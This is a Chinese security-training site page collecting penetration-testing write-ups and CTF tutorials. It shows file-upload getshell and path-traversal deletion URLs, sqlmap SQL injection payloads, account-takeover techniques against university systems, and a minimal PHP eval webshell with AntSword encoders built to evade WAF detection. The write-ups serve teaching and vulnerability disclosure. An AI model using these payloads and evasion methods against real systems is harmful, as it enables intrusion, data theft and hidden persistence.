蚁景网安 - 网络安全人才培养服务提供商

快速入门堆溢出技巧(OFF BY ONE)

记某cms审计过程(新手入门篇)

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>> 前言今天放假闲着无事就找了个cms来挖挖漏洞，挖到的漏洞比较简单，适合新手入门，所以本篇文章就记录一下这几个漏洞的审计过程，以及如何从新手的角度去挖到cms一些常见的漏洞，如果是大佬就可以绕道了。本文涉及相关实验：https://www.yijinglab.com/expc.do?ec=ECID06a1-2876-4bfb-8e59-a0096299c167 （通过本节的学习，了解文件下载漏洞的原理，通过代码审计掌握文件下载漏洞产生的原因以及修复方法。）前置工作寻找cms及搭建一般来说我们可以到谷歌百度等引擎找到cms的官网下载源码，或者码云，然后在本地用phpstudy搭建起来环境我们在这里下载cms的源码，下载之后怎么在本地搭建呢我们打开phpstudy-》其他选项菜单-》站点域名管理里把网站目录填写你下载源码的路径就好了，然后进hosts添加域名然后不出意外就可以访问了配置debug 在白盒代码审计的时候你可能会需要到断点调试，这个时候就需要用到xdebug，这里我个人用的是vscode编辑器，当然你用phpstorm也是可以的，配置过程如下首先在vscode的应用商店下载php debug插件在php.ini添加 [XDebug] xdebug.profiler_output_dir ="D:\phpStudy\PHPTutorial\tmp\xdebug" xdebug.trace_output_dir ="D:\phpStudy\PHPTutorial\tmp\xdebug" zend_extension="D:\phpStudy\PHPTutorial\php\php-7.1.13-nts\ext\php_xdebug.dll" xdebug.remote_enable = on xdebug.remote_autostart = on 在文件-》首选项-》设置-》用户-》扩展-》settings.json { "php.validate.executablePath": "D:/phpStudy/PHPTutorial/php/php-7.1.13-nts/php.exe", "editor.mouseWheelZoom": true, "php.executablePath": "D:/phpStudy/PHPTutorial/php/php-7.1.13-nts/php.exe", "workbench.editorAssociations": [ { "viewType": "jupyter.notebook.ipynb", "filenamePattern": "*.ipynb" } ], "explorer.confirmDelete": false } launch.json添加 { "version": "0.2.0", "configurations": [ { "name": "Listen for Xdebug", "type": "php", "request": "launch", "port": 9000 }, ] } 上面一些路径自行更改一下，然后我们新建一个1.php打个断点，然后访问http://127.0.0.1/1.php，如果出现如下，就说明xdebug环境就成功搭建了文件上传漏洞通常来说，漏洞等级评级高的就是可以rce的高危漏洞，而想要rce最常见的就是文件上传找文件上传漏洞的话，有两种思路，分别为黑盒和白盒，对新手来说代码功底不强的话，黑盒应该是会比较简单的，这里分别从两个不同的角度来寻找漏洞黑盒思路一般来说网站的后台很多地方都是可以文件上传的，我们进入后台之后可以寻找诸如文章发布处，修改头像处，附件，插件管理等地方，特别是像在文章发布处有这种富文本编辑器的地方往往会有上传图片和上传附件的功能我们拿刚刚搭建好的cms，进入后台之后在发布文章处找到有可以上传图片的地方我们随便上传一个1.php，发现提示上传图片发生错误，应该是被过滤了但不确定是不是前端过滤还是后端过滤，我们先上传1.jpg，抓包改一下发现上传成功，原来只是前端过滤，芜湖这不起飞，我们再访问一下我们上传的文件发现已经成功getshell 这里的过滤比较简单，新手可以学一下各种绕过的技巧：https://xz.aliyun.com/t/6692 那么除了发布文章处，我们还可以在上传图片这些地方入手我们在微信小程序这里的基本设置处看到有个首页分享封面和上面一样，只是前端做了过滤，我们抓包改文件即可但是这里的话只是提示上传成功，没有回显出来文件的名字，我们可以在本地文件处看看到底上传了什么东西发现上传了wx_share_cover.php，这个文件的名字是固定的，于是我们访问试试看发现也已经成功getshell 白盒思路对于初学者而言，找漏洞不能只看黑盒，也要基于白盒审计进行，所谓白盒审计可以简单地理解为就是看着代码找漏洞我们知道php文件上传的函数是move_uploaded_file()，或者一般来说上传的方法名是有upload关键字的，我们可以全局搜索他们定位到上传功能的代码里面我们找到相应的代码块如下可以看到validate的check就是这里的过滤，我们用上面的方法绕过即可，如果想清楚的跟踪进这个函数就可以在这里打个断点，然后分析当然白盒寻找rce漏洞，我们还可以找找file_put_content等可以直接写文件的函数任意文件删除通常我们找文件删除漏洞的话，可以全局搜索unlink函数第一处这里的代码功能比较简单，正如注释所说的删除目录下面的所有文件，但不删除目录我们可以看到$directory是我们可控的，而且没用做任何的过滤，说不定就可以穿越目录从而任意删除文件了，我们先手动加一个var_dump(scandir("."));来观察一下这里所处的位置可以看到现在是在public的目录下，那我们就在上一层目录随便新建一个目录，里面随便新建几个文件试试看我们输入 http://www.test123.com/system/dir/del?directory=../123 可以发现txt文件都被删除了，但是文件夹没有被删除因为这个功能不能删除目录，只能删除目录的文件，如果我们还想删412315里面的文件就可以输入 http://www.test123.com/system/dir/del?directory=../123/412315 第二处这里和第一处差不多，但是功能有点不一样，这里是可以把整个目录删除了，我们输入如下就可以删除整个123目录了 http://www.test123.com/system/dir/delDir?directory=../123 反序列化漏洞既然前面已经挖到了文件上传漏洞，这个cms又是thinkphp6.0的版本，我们可以再找一下有没有可以触发phar函数的漏洞第一处突然看到我们前面的任意文件删除漏洞处，不正是有个is_dir函数吗，而且又是可以控制的，真是踏破铁鞋无觅处得来全不费功夫我们先用网上公开的反序列化链生成test.jpg，然后利用上面的任意文件删除漏洞上传，上传到这个位置 {"code":1,"msg":"上传成功","url":["http:\/\/www.test123.com\/uploads\/postImages\/20210404\\3c5ea1104433e1cb734be47ab8377a11.jpg"]} 我们再用phar协议去触发这个文件即可rce http://www.test123.com/system/dir/del?directory=phar://uploads/postImages/20210404/3c5ea1104433e1cb734be47ab8377a11.jpg 第n处除了上面那个任意文件删除处的is_dir，我们可以再找找还有没有其他地方能够触发的，随手一找又发现两处这还只是单单用is_dir函数，没算上其他的就已经那么多了，这个 cms 真是"漏洞百出" 本文的漏洞已提交至 cnvd 平台，作为新手找一些少人用的 cms 挖上面几种漏洞还是比较容易的这个技术你学会了吗？加入网安实验室，1300+网安技能任你学！

CSP浅析与绕过

与证书大学站的相爱相杀

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>> 0x01:前言记一次关于edusrc中证书大学的小程序挖掘过程。在各路大师傅惨无人道的证书站挖掘，像是我这只小菜鸡在web方面很难再摸到漏洞，内网也莫得账号，无奈只能转战小程序。 0x02：准备夜神模拟器 6.6.1.1 Andorid5版本 Burpsuite 证书 Node+npm环境 0x03：实战先确定一个证书站的目标，从小程序名称下的归属可以知道此小程序确实属于目标资产，同时在交互包中也可以发现是对其子域进行交互。先是对其进行一波排查，发现有功能点展示但需要进行登录。爆破一波并没有发现存在弱口令用户，更换方式。尝试对小程序进行反编译 (在对wxapkg文件进行获取的时候，可以先删除其目录下的所有小程序包，然后再去访问想要测试的小程序，会生成两个数据包都要拿出来)，例如下图_2100734759_11.wxapkg是需要进行编译的包 #node ../wxappUnpacker-master/wuWxapkg.js _459201295_105.wxapkg //开始编译编译成功会获得一些源码，可以尝试找账号密码，且还可以对其进行一系列行为溯源在翻js的时候，翻到一个js文件，打开发现是一个修改密码的行为发现有个不想是路径的地址，同时还指明URL，猜测可能是某个接口，尝试利用其的POST方式对其进行发包探测，后来发现不管怎么样都是返回 {success:200} 正当一筹莫展的时候，把js往下滑动，看到了用户信息加载的字样，应该也是基于接口访问获取个人信息拼接访问:http://xxxx.edu.cn/xxxx/user/admin 好家伙，来开发抽华子可以发现password的值为undefined，起先我弱智的用空密码登录admin账号，发现密码错误，又带入undefined这个字符串进行登录。。。重新屡一下思路，照理来讲应该password字段应该是有密码的。回顾操作有没有可能是我上一步的POST数据的那个功能点是修改密码，毕竟我没传任何数据。对上个接口进行POST传参fuzz，fuzz完好几个字典发现都是没有成功修改密码。后来想起来wxml像是一个前端页面，正好有个mpassworx.wxml，看看里面的传参值是什么,newp为新密码，confirmp是确认新密码。再对其接口进行构造修改密码传参值为md5加密之后的数据（为什么知道是md5呢，因为在个人信息返回的那个点，我对其进行了工号和学号的fuzz，发现其中用户密码都是经过md5加密的）发现从原来undefined，变成了我传入的md5值，成功修改密码利用修改之后的账号密码，成功登陆系统同时可以对会议室实验室啥的进行管理，开个门,关个门,开个空调,开个电风扇等等 0x04 实战案例二：南神永远滴神!!! 依旧还是一个证书站的小程序先用自己的手机号注册一个账号，Tips:当用自己手机注册一个手机号的时候先会获得一个验证码可以用来注册，同时当准备利用忘记密码功能点来获取密码的时候，验证码不会再发送，后来发现注册获得的验证码可以被多次使用，也不会过期生成0001 - 9999的字典轻而易举的爆破出来如何获得管理员的手机号捏~，先利用自建注册的账号，进系统内对各个功能点进行探测，发现有个数据包中带有userID值，尝试越权发现当访问其他userID时会提示登录超时，看到有个token验证，尝试删除再访问其他userID。发现当userID的值存在时会回显数据，没有则会返回空。对userID直接fuzz遍历获得linkMobile，就是其手机号。成功获取一些管理员用户手机，直接在忘记密码处4位纯数字爆破修改密码。 0x05：后言涉及漏洞均已提交edusrc。网络如山勤思为径，信息似海安全作舟。多一分网络防护技能，多一份信息安全保障。你想在靶场学习CTF技术吗？

记一次相对完整的渗透测试

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>> 教育src 700rank了想着继续冲一波分，早日上核心，于是就有了下面这一次渗透测试的过程了。开局一个登陆框，且存在密码找回功能。归属为某教育局开启burp 抓取登陆包，发现用户密码并未加密，尝试爆破admin账户密码跑了一下发现报如下错误，看来爆破这条路走不通了。于是fofq查询了一下ip,无旁站。继续肝下一个功能点，密码找回密码找回处可以看出这里肯定是会存在数据交互的，于是加个单引号测试一下sql，返回500 两个单引号，返回正常，可以断定这里是肯定存在sql注入了，抓取包丢进sqlmap中跑一下。得出如下payload sqlmap resumed the following injection point(s) from stored session: --- Parameter: #1* ((custom) POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: login_name=admin' AND 5698=5698 AND 'yKnB'='yKnB Vector: AND [INFERENCE] Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: login_name=admin' AND (SELECT 3409 FROM (SELECT(SLEEP(5)))iWYb) AND 'ZAHe'='ZAHe Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) 报错与延时注入，对于接下来的渗透意义不大，继续fuzz，尝试按照正常逻辑找回密码。抓取返回包可以很明显的看到其中存在success参数其值为false，我们将其改为true，页面显示如下，flag参数不为空，这是玩ctf呢，再次重放找回密码请求。发现，flag的值应该是在这设定哦，but并不知晓flag的值，无从下手手行吧转换思路，既然admin账户没有设置手机号，那我去跑一下账户，总有设置手机的账户，flag出现了，现在目前不知道有何作用。转手测试有手机号的账户。随意输入验证码，点击下一步，大概是明白了，这个flag就相当于身份id。我们继续抓取返回包，改success 参数为true，成功到达重置密码界面设置了一下新密码，之后使用burp抓包，发现存在两个参数flag 与pwd flag参数之前在跑用户名的时候我们就已经获取到了，所以这里我单独拉出来，复制之前的flag。 Send，返回结果为true表示成功更改成功登陆既然成功登陆之后，就开始找上传点了 Java站那就是jsp与jspx了，经过一番fuzz找到一处相册管理先上传了一张图片，获取到了上传路径。接着在构造jsp小马尝试上传,目标存在waf jsp无法上传，我是一点都不意外啊。看了看poc中可疑的参数点，这不就是我们需要的文件路径，以及文件名吗，我们可以尝试在此处更改文件后缀。证实了猜想。于是继续构造poc，成功上传，拼接之前得到的url，尝试访问发现直接打印了，看来是不解析。可以很明显的看到这里是目录结构，所以尝试删除部分目录，重新上传例如发现成功跳过目录继续访问发现还是直接打印了，不慢慢fuzz跳目录了，我直接跳到他根目录下面。分析一下、这是最开始上传到的目录并不解析，我们可以看到其中有四层目录删除其中如下两层目录后，还剩下这两层目录所以用 ../../来跳过这两层目录。结合之前的路径，拼接访问。未授权，点到为止，打包提交带带我代码审计可好，好哥哥们。本文涉及相关实验：https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015060916565800001 （本实验以PHP和mysql为环境，简单展示了SQL的发生原理和利用过程，通过显错注入和盲注的对比，更直观展现注入的不同利用方法。）这个技术你学会了吗？加入网安实验室，1300+网安技能任你学！

蚁剑流量改造学习

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>> 流量分析挂个代理直接抓包就好了 UA头修改修改蚁剑工作目录的/modules/request.js，这里面默认是antSword/v2.1 一般需要修改一下，不然极其容易被发现，可以利用平常爬虫的一些技巧，随机构造UA头 let USER_AGENTS = [ "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" 编码管理绕过检测蚁剑里面可以自己构造流量的编码的效果，存在于设置的编码管理中，可以设置发送流量的加密效果，也可以设置返回数据流量的解密效果，但是我们同样需要我们上传木马的配合，这里又涉及到免杀这一个过程蚁剑的编码器很友好，注释啥的写的也很清楚，官方给的demo是弄了一个随机变量名，我们的内容base64之后再次传入到这个变量中，再解base64执行一次eval，这个编码器最终发送的是data数组的内容，数组里面有多少内容它就会全部发送，数组的key值就是传过去的参数值自定义编码我们可以对其进行改造，这就是自定义改造了参考这篇文章的例子：https://xz.aliyun.com/t/4000 ，文中是改成最后传输的数据随机字符串+传输数据base64+随机字符串的效果，我们可以模仿一下，构造随机字符串+传输数据base64 的效果，只要被抓取的流量无法被直接正常分析就可以了 /** * php::base64编码器 * Create at: 2019/01/26 23:51:47 */ 'use strict'; /* * @param {String} pwd 连接密码 * @param {Array} data 编码器处理前的 payload 数组 * @return {Array} data 编码器处理后的 payload 数组 */ module.exports = (pwd, data) => { // ########## 请在下方编写你自己的代码 ################### // 以下代码为 PHP Base64 样例 // 生成一个随机编码器选择我们设置的，观察流量，内容的前面13位是我们随机生成的字符串，后面才是我们真正传过去的内容弄好蚁剑端的加密，还需要设置自己木马的格式，配合蚁剑，此时上传的木马应该是这种格式的了，这只是一个demo，正常情况下还需要免杀（现在一般都需要配合类的析构函数去实现一下） <?php $a = base64_decode(substr($_POST['a'],13)); eval($a); 当然也能实现动态随机字符串的流量构造，只需要传递多几个参数实现一下就行，要想使用form表单的方式发包，也可以使用multipart方式发包，此时报的内容就会是这样官方提供的一些编码器在蚁剑自带的编码器中，存在base64、chr、chr16、rot13四种编码器，此外，官方还提供了一些其他另类的编码器 https://github.com/AntSwordProject/AwesomeEncoder 但是自带的编码器中，因为将请求流量都会带有eval和一些编码函数的关键字而被WAF掉了，比如这个图：所以在https://github.com/AntSwordProject/AwesomeEncoder 这个项目中，有一些编码方式会将这些函数变量进行一次编码或者加密，不行就多次，比如这里面的b64bypass这个编码器，跟上方的单纯base64进行比较的话，已经少了这些关键字了 RSA编码器这种类型的编码器，可以在AWD中大放异彩，只需要轻轻点几下即会自动生成私钥公钥的内容思路是来自于这篇文章：https://xz.aliyun.com/t/4640 可以放置别人骑我们的马，但是不能防止别人重放我们的流量所以可以在此基础上加上一些token，ip限制之类的，蚁剑的作者提出使用时间校验的方式，超过5秒就不能来骑我的马儿了，只需要加上这么一句 data["_"] = `if((time()-${parseInt((new Date().getTime())/1000)})>5){die();};${data['_']}`; 基于时间的蚁剑动态秘钥编码器整个的流程是这样的：蚁剑获取时间->生成随机秘钥->加密payload->发送给shell shell获取时间->生成随机秘钥->解密payload->将回显data编码->返回给蚁剑蚁剑获取时间->生成随机秘钥->解密返回data->获取信息这一个来回下来，时间还是一样的，因为时间只到分钟，密钥短时间内不会改变，加解密方法使用的是异或，这个流量已经很难解密了 zlib_deflated_raw 编码器该方式通过将数据进行zlib压缩后进行base64编码传输给shell，这样要求shell将传输的数据先进行base64解密后通过gzinflate将压缩数据进行解压缩，从而实现流量混淆这个编码器的加密效果也是不错的还有其他的一些编码器，使用什么aes之类的，利用起来比较麻烦，有的还需要环境，个人感觉不太常用，但也能学习一下解码器设置返回的报文也是个重点，直接明文返回也比较明显，因为没多少站点会直接返回/etc/passwd 的内容可以先观察一波原始执行的php代码，其中asenc函数是输出返回内容的地方，默认直接返回明文，我们在编码器写的内容，会在发送的时候覆盖这个函数的内容，服务器端执行完代码之后，实现返回效果经过编码加密的效果 <?php @ini_set("display_errors", "0"); @set_time_limit(0); function asenc($out){ return $out; } ; function asoutput(){ $output=ob_get_contents(); ob_end_clean(); echo "95922eac"; echo @asenc($output); echo "38160"; } ob_start(); try{ $F=base64_decode($_POST["td1b2e4829a55c"]); $P=@fopen($F,"r"); ech base64解码器 decode_buff部分是设置解密的，asoutput设置的东西则是覆盖请求函数中的asenc函数的内容 /** * php::base64解码器 * Create at: 2021/03/02 18:52:44 */ 'use strict'; module.exports = { /** * @returns {string} asenc 将返回数据base64编码 * 自定义输出函数名称必须为 asenc * 该函数使用的语法需要和shell保持一致 */ asoutput: () => { return `function asenc($out){ return @base64_encode($out); } `.replace(/\n\s+/g, ''); }, /** * 解码 Buf 设置之后抓包可以看到它里面的函数内容已经被更改了而且返回的内容也不容易被轻易解出来，因为在a请求包中的output函数中每次都设置了随机的前后分界字符串，只有客户端知道分界位置，所以能直接解编码，WAF基本上是没法定位位置进行解码的，因此相当于base64编码前后都有一段随机的字符串，当然我们可以通过爆破前后位置最终得到base64编码，不过这也是蚁剑开发过程中的小细节，通过设置前后分解字符串来模拟了一个简单的加盐操作也就是这两段东西导致不能够直接将返回包解码就可以得到相关信息，只能通过爆破跑跑 rot13解码器相比于base64解码器，rot13解码器并没有很大的优势，因为rot13加密本身就是凯撒的变形，并且由于没有进行分组加密，因此加入前后分界字符串的意义也就不明显了，并且混淆程度也不高，能够直接将混淆后的流量在进行rot13解码便能能到明文上述两个是蚁剑自带的，其实也可以自己构建相关的解码器基于时间的动态秘钥解码器只要在返回的内容中再次基于时间产生的密钥进行一个异或操作，然后解密操作在decode_buff实现 'use strict'; module.exports = { /** * @returns {string} asenc 将返回数据base64编码 * 自定义输出函数名称必须为 asenc * 该函数使用的语法需要和shell保持一致 */ asoutput: () => { return `function asenc($out){ date_default_timezone_set("PRC"); $key=md5(date("Y-m-d H:i",time())); for($i=0;$i<strlen($out);$i++){ $out[$i] = $out[$i] ^ $key 绕过检测的程度也很高 WAF的一些常规的封杀点以及一些绕过方法参考这篇文章：https://mp.weixin.qq.com/s/u8_d8MXvFuwOyIMZZMBsog 其实蚁剑都能根据这些点进行绕过，实属大杀器，总结了个脑图商用的WAF，由于要关注业务性，可能会把multipart/form-data这种多用来上传文件的传输方式检测关闭掉，否则攻击者持续上传大文件，一直损耗WAF的性能，容易拖垮相关业务，因此如果使用Multipart进行传输，对流量的混淆也起到了一定的积极效果另外蚁剑还有分块传输的功能，利用的chunk这种传输方式，把payload分成一小段一小段传过去,这样原本一个包中的一些关键字则会被分割成很多小块进行传输，可以绕过了某些正则本文涉及相关实验：https://www.yijinglab.com/expc.do?ec=ECIDee9320adea6e062018020614185300001 （通过该实验了解中国菜刀的特性及其通信原理、机制，并且学会分析可能隐藏的后门以及其工作原理。）这个技术你学会了吗？加入网安实验室，1300+网安技能任你学！

为什么大家都喜欢看‘记一次xxx漏洞挖掘’之类的文章

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>> 安全类的公众号大大小小的关注了两百多个，经常看到标题为“实战|记一次xxx漏洞挖掘”、“某xxx网站渗透实战”之类的文章，比如：https://mp.weixin.qq.com/s/ETm92MHTNksURjOPNqFgHg，https://mp.weixin.qq.com/s/rxfJA44NWP1CIpVfrVh1KQ，https://mp.weixin.qq.com/s/vB3cHY4zxsPoNnuoTvNArQ。不知道大家是不是跟我一样，每次都会点进去看，学习作者的渗透思路。包括在蚁景网安实验室去年开设的网安讲堂上，也有很多关于挖洞经验的公开课，学习人数恒河沙数。那么什么是漏洞发现过程？在某些方面漏洞发现过程就像解决迷宫、拼图之类的难题，也像一款很火的烧脑益智冒险类游戏——密室逃脱。挖掘漏洞的过程就像从密室中逃脱一样，需要发现细节、分析推理并且借助工具才能完成。细品那些疑似漏洞的误报是不是很像密室中突然冒出来干扰你正常思路的NPC。和留言板中直呼大佬的读者一样，我每次看完大佬们的渗透记录，也是如饮醍醐。甚至于经常被这种“记一次xxx漏洞挖掘”之类的标题所吸引，来不及领会的时候就放到收藏夹。堆积如山的除了需要学习的漏洞挖掘思路，更多的是每看完一篇的思路总结。学而不思则罔，思而不学则殆。学习贵在实践、贵在转化、贵在总结，安全学习更应该边看边动手，把大佬们的技巧转化成自己的思路，并且定期总结。从源码泄露到代码审计相信很多人在尝试一个攻击手法时，都会从代码开始研究。去年年初的时候我还写过一篇关于代码审计的记录文章：https://mp.weixin.qq.com/s/c-etrgAVkHW7A8CLNVyz4Q，对PHP的几个危险函数粗略地进行了总结。文章中提及的几个危险函数使用实例在蚁景网安实验室上也有相关的课程练习，名为PHP函数漏洞审计。在实践练习的过程中，我发现还有另一个课程——PHP代码审计最佳实践，其中关于常见Web漏洞的代码分析思路，完全就是我下一篇《代码审计进阶实战》的文章构造。课程详细地介绍了SQL注入、XSS、命令注入、文件上传等漏洞的产生原理及挖掘方法，课程链接：https://www.yijinglab.com/cour.do?w=1&c=CCID2d0a-0673-40fe-8ac6-bd3c08e8179f& 文章好像都不用写了，感兴趣的自己学习课程PHP代码审计最佳实践吧。代码审查还有可能涉及到逆向工程分析，在蚁景网安实验室上也有很多逆向分析相关的实验，我对逆向不太了解，就不班门弄斧了。工欲善其事必先利其器审查代码需要花费很多的时间和精力，而且在实际漏洞挖掘过程中，遇到的更多是不提供源代码的情况，这就需要我们借助一些工具型软件对应用程序的数据执行进行监视。实验漏洞扫描介绍了漏洞扫描技术的原理和如何使用burp suite对目标网站进行渗透扫描：https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015082709344100001 众所周知，AWVS也是一款知名的网络漏洞扫描工具，通过网络爬虫测试并检测目标网站的安全漏洞，深受业内人员的喜爱。通过课程AWVS使用教程学习AWVS的相关配置，使用AWVS进行子域名扫描和Web服务器扫描等：https://www.yijinglab.com/cour.do?w=1&c=CCID90eb-df01-4b2d-9105-d94609391fed& 除了bp和AWVS，还有Nessus、AppScan、Wscan、WebCruiser等漏洞扫描工具，可以在课程渗透扫描工具使用中进行练习：https://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2017041916081500001& 心中有树，手中创林在学习实战挖掘某FTP服务器溢出漏洞实验的时候，用提交漏洞报告的作者给出的poc在系统中进行测试，发现漏洞利用失败了。其实在漏洞利用过程中，经常会遇到使用别人的脚本攻击失败的情况，有时候是系统不同的原因，有时候是代码本身的问题。同样在实验实战挖掘Mini-stream_Ripper缓冲区溢出漏洞中也需要编写自己的exploit，控制程序的执行流程，将恶意数据写入程序。对没有编程基础的人来说，这样的练习可能会显得不太友好。比如在测试开源的漏洞挖掘工具时，突然想结合其他的功能一起使用，和课程用Python打造实用工具中提及的类似，拥有自己的专属利器：https://www.yijinglab.com/cour.do?w=1&c=C9d6c0ca797abec2016081211033700001& 当然如果想系统地学习漏洞批量扫描工具的开发，提高漏洞挖掘效率，可以看看蚁景网安学院最新的Python安全开发特训班：https://www.yijinglab.com/pages/activity/python-secure-development.html 我也是最近才了解到，看这个课程大纲感觉还挺诱人的，包括主机发现、端口探测、子域名获取、指纹识别；还有未授权、SQL注入、弱口令漏洞的检测：https://ke.qq.com/course/3413806?tuin=2dfa83c9 他们还不定期地在腾讯课堂和b站开设黑客入门课程、实战训练营什么的，感兴趣的可以了解一下，反正两分钱去不了澳门也到不了香港。回归到问题上来：为什么大家都喜欢看‘记一次xxx漏洞挖掘’之类的文章？大概是看多了“为什么要学习网络安全“、“怎么入门Web安全”之类的文章，受国家战略趋势及网络安全发展前景的影响，越来越多的年轻人投身于安全研究与服务行业。在积累了一定的基础之后，通过学习大佬们的渗透记录，巩固自己的知识框架。其实根据不同的应用场景及技术实现，网络安全也分为很多种领域，包括安全运维、Web安全、云安全、移动安全、工控安全、无线安全、数据安全等。庆幸于自己的兴趣能够成为工作的动力，也希望大家能找到合适的发展方向，当然也不能受利益驱使做违法的事情。这个技术你学会了吗？加入网安实验室，1300+网安技能任你学！

尝试用代码解CTF题-找茬游戏

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>> 今天玩一个找茬游戏。但是我们不是用眼睛找，我们用代码找。本文实验地址：https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016111111233100001&。最近做的题基本都是用工具做题，这次来尝试一下用代码解题。来看题目解压附件cry200.zip，得到两张图片（附件在c盘根目录下的解密200文件夹中）我们一般就是比较两张图片的像素，用程序进行对比（这段代码在c盘根目录下的解密200文件夹中有） import java.io.BufferedReader; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.InputStreamReader; import javax.imageio.ImageIO; import java.awt.image.BufferedImage; public class PicTest2 { public static void main(String[] args) throws IOException { int i,j; int rgb1[] = new int[3]; int rgb2[] = new int[3]; File file1 = new File("C:\1.png");// 实例化file对象，并设置读取图片路径 File file2 = new File("C:\2.png"); File file3 = new File("C:\3.png"); BufferedImage bi1 = null; // 像素缓冲区开始为空 BufferedImage bi2 = null; BufferedImage bi3 = null; bi1 = ImageIO.read(file1); bi2 = ImageIO.read(file2); bi3 = ImageIO.read(file3); int width = bi1.getWidth(); int height = bi1.getHeight(); for (i = 0; i < width; i++) { for (j = 0; j < height; j++) { int pixel1 = bi1.getRGB(i, j); rgb1[0] = (pixel1 & 0xff0000) >> 16; rgb1[1] = (pixel1 & 0xff00) >> 8; rgb1[2] = (pixel1 & 0xff); int pixel2 = bi2.getRGB(i, j); rgb2[0] = (pixel2 & 0xff0000) >> 16; rgb2[1] = (pixel2 & 0xff00) >> 8; rgb2[2] = (pixel2 & 0xff); bi3.setRGB(i, j, Integer.parseInt(Integer.toHexString(rgb1[0]^rgb2[0])+Integer.toHexString(rgb1[1]^rgb2[1])+Integer.toHexString(rgb1[2]^rgb2[2]),16)); } } ImageIO.write(bi3, "PNG", file3); //写入文件 } } 这里运行没有成功，看一下代码里面的地址。需要把1.png和2.png放到c盘根目录下(程序中已经指定为c盘根目录)把1.png复制到c盘根目录下一份，重命名为3.png打开eclipse，新建一个工程，运行代码（自己安装eclipse，安装程序在c盘根目录下的解密200文件夹中有）然后打开3.png，如下图隐隐约约可以看到图中有个二维码（这是真的很隐约）那我们再加点代码让他看得更清楚些在ImageIO.write(bi3, "PNG", file3); 上面加入下面的代码（需要添加的这段代码在c盘根目录下的解密200文件夹中有） for (i = 0; i < width; i++) { for (j = 0; j < height; j++) { //System.out.println(bi3.getRGB(i, j)); if(bi3.getRGB(i, j)==-16777216) bi3.setRGB(i, j, -1); } } 添加了代码之后，再运行再次打开3.png，如下图扫码即可得到flag。这道题是真题，当年难倒了一大片人。题目有迷惑性，要用程序对比像素。用代码解游戏题虽然是一种思路，但是速度应该会慢一些。这个技术你学会了吗？加入网安实验室，1300+网安技能任你学！

Oracle数据库手工盲注

MISC 从标题中找信息

你是否正在收集各类网安网安知识学习，蚁景网安实验室为你总结了1300+网安技能任你学，https://www.yijinglab.com/loginLab.do#stu>> 在做隐写的时候，思路很重要，当然有时候会感觉思路不够用，那怎么办呢？记住看隐写的题目名字很重要，因为很多时候，隐写题的标题里就隐藏了信息。本文实验地址为：https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014112610044700001。进入实验机，打开http://www.ctfmisc.com/firstbl00d/后，我们仅仅看到一张图片以及一段简单的文字描述，除了网页的标题“BASE64 & MD5 & COOKIE”外，表面上没有任何有用的信息。继续看题目，此时查看页面的Cookie也看不到任何有用的信息。这里找不到异常是不是可以看一下图片本身是否携带了提示信息（比如Exif等）。将网页中的xctf.jpg图片保存下来之后，通过Exif.py文件，通可以读取xctf.jpg中的Exif信息，如图所示：发现了一个可疑的字符串RkFCQTgzOEY4QkIyOEU3NUZGNjVGMzRENEY5NDMwRDc= 这明显就是一个base64题目的标题也有说明我们解密一下在主机的桌面有一个JPK工具，打开JPK，输入RkFCQTgzOEY4QkIyOEU3NUZGNjVGMzRENEY5NDMwRDc=，在JPK的菜单中依次选择ASCII、Decode、Base64菜单项，就可以对其进行解码操作了，得到的结果为FABA838F8BB28E75FF65F34D4F9430D7。注意标题，这是md5加密，我们网页在线解密一下套路防不胜防，xctf。进行做题访问http://www.ctfmisc.com/firstbl00d/xctf.php，网页的内容仍然没有有用的提示信息，不过网页的标题是COOKIE，因此我们可以查看网页的Cookie。使用Google Chrome浏览器打开xctf.php页面，按下F12调出开发者工具，切换到Network选项卡，按F5刷新页面，就可以看到Cookie里面的内容了，如图所示： Cookie内容为next-step=bjN4dDV0M3A%3D，其中%3D为等于号“=”的编码，因此字符串也就是bjN4dDV0M3A=，这也是一个BASE64编码的字符串，再次使用JPK工具对其进行解码，得到明文n3xt5t3p。我们访问http://www.ctfmisc.com/firstbl00d/n3xt5t3p 这个URL，发现页面跳转到了http://www.ctfmisc.com/firstbl00d/n3xt5t3p/index.html，这本是再正常不过的事情，不过根据页面的文字提示“你刚才看见KEY了吗”，是不是在跳转的过程中还有什么提示信息呢？同样在Google 